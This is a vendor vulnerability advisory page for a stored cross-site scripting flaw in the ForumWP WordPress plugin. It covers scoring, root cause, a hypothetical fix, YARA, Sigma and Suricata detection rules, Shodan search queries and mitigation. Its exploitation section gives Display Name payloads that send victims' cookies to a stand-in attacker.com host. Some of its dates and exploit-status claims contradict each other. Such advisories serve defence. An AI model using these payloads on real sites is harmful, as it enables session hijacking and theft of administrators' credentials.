☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13746

CVE-2025-13746 Cross-Site Scripting in Forumwp
📅 PUBLISHED: 2026-01-06 03:21 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13746 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the ForumWP – Forum & Discussion Board plugin for WordPress, affecting all versions up to and including 2.1.6. The flaw resides in the insufficient sanitization and escaping of the user's Display Name field. An authenticated attacker with Subscriber-level access or higher can inject arbitrary web scripts into the Display Name. When any user (including administrators) views a page that renders this Display Name (e.g., forum posts, user profiles), the injected script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as Stored XSS (CWE-79) with a CVSS v3.1 score of 6.4 (Medium). No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, no package manager-specific supply chain risks are identified.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs Subscriber-level account.
  • User Interaction (UI): None (N) – No victim action needed beyond viewing the page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited content manipulation.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for privilege escalation via XSS (e.g., stealing admin cookies) elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the way ForumWP handles the WordPress user Display Name. When a user registers or updates their profile, the plugin stores the Display Name without proper sanitization. Later, when the plugin renders the Display Name in forum threads, user cards, or profile pages, it fails to escape the output. This allows an attacker to inject HTML and JavaScript.

Attack Flow:

  1. Attacker registers a new WordPress account with Subscriber role.
  2. Attacker sets their Display Name to a malicious payload, e.g., <script>alert(document.cookie)</script>.
  3. The plugin stores this payload in the wp_users table.
  4. When any user (including admins) visits a forum page that displays the attacker's Display Name, the script executes.
  5. The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.

Root Cause: The plugin uses esc_html() or similar escaping functions inconsistently, or relies on WordPress core functions that do not escape the Display Name in all contexts.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress XSS remediation.

Vulnerable Code (ForumWP <= 2.1.6):

// In a template file, e.g., single-forum.php
echo get_the_author_meta('display_name', $post->post_author);

Patched Code (Hypothetical):

// Properly escape the output
echo esc_html(get_the_author_meta('display_name', $post->post_author));

Explanation: The vulnerable code directly outputs the Display Name without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with ForumWP plugin version <= 2.1.6.
  • An authenticated user account with Subscriber role or higher.

Steps:

  1. Log in to WordPress as a Subscriber.
  2. Navigate to Users > Profile.
  3. In the "Display Name" field, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the profile.
  5. Wait for an administrator or any user to view a forum page where your Display Name is rendered (e.g., your forum post).
  6. The script executes, sending the victim's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor user profile updates for suspicious Display Name changes (e.g., containing <script> tags).
  • Review web server logs for requests to external domains from the WordPress site.
  • Use the YARA and Sigma rules provided in the Detection Engineering section.

Hardening:

  • Apply a Web Application Firewall (WAF) rule to block XSS payloads in user profile fields.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Restrict user registration to trusted domains or require admin approval.
  • Regularly update the ForumWP plugin and monitor for patches.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains containing cookie data.
    • Suspicious POST or GET requests to /wp-admin/profile.php with display_name parameter containing <script> tags.
  • Host IOCs:
    • User accounts with Display Names containing HTML/JavaScript code.
    • Unexpected entries in WordPress user meta table (wp_usermeta).
  • File IOCs:
    • Modified plugin files (if attacker gains admin access via XSS).
  • Log IOCs:
    • Web server logs showing display_name parameter with encoded or raw script tags.

Detection Engineering

YARA Rule

rule CVE_2025_13746_Stored_XSS_DisplayName {
    meta:
        description = "Detects stored XSS payloads in WordPress Display Name fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13746"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $display_name_field = "display_name"
    condition:
        $xss_payload and $display_name_field
}

Sigma Rule

title: CVE-2025-13746 Stored XSS via Display Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts via WordPress Display Name field
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'display_name='
            - '%3Cscript%3E'
            - '%3C/script%3E'
    condition: selection
falsepositives:
    - Legitimate use of HTML in Display Name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13746 Stored XSS Payload in Display Name"; flow:to_server,established; content:"display_name"; http_client_body; nocase; content:"<script"; http_client_body; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the ForumWP plugin until a patch is available.
  2. Audit user accounts for suspicious Display Names and remove them.
  3. Implement a WAF rule to block XSS payloads in user profile fields.

Long-Term Fix:

  • Apply the official patch once released by the vendor.
  • If no patch is forthcoming, consider replacing the plugin with an alternative forum solution.
  • Enforce strict input validation and output escaping for all user-supplied data.

Workaround:

  • Add the following code to your theme's functions.php to sanitize Display Names:
add_filter('pre_user_display_name', 'sanitize_display_name');
function sanitize_display_name($display_name) {
    return sanitize_text_field($display_name);
}

Valters IT – Securing your digital frontier.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ForumWP"
http.html:"wp-content/plugins/forumwp"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13746/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.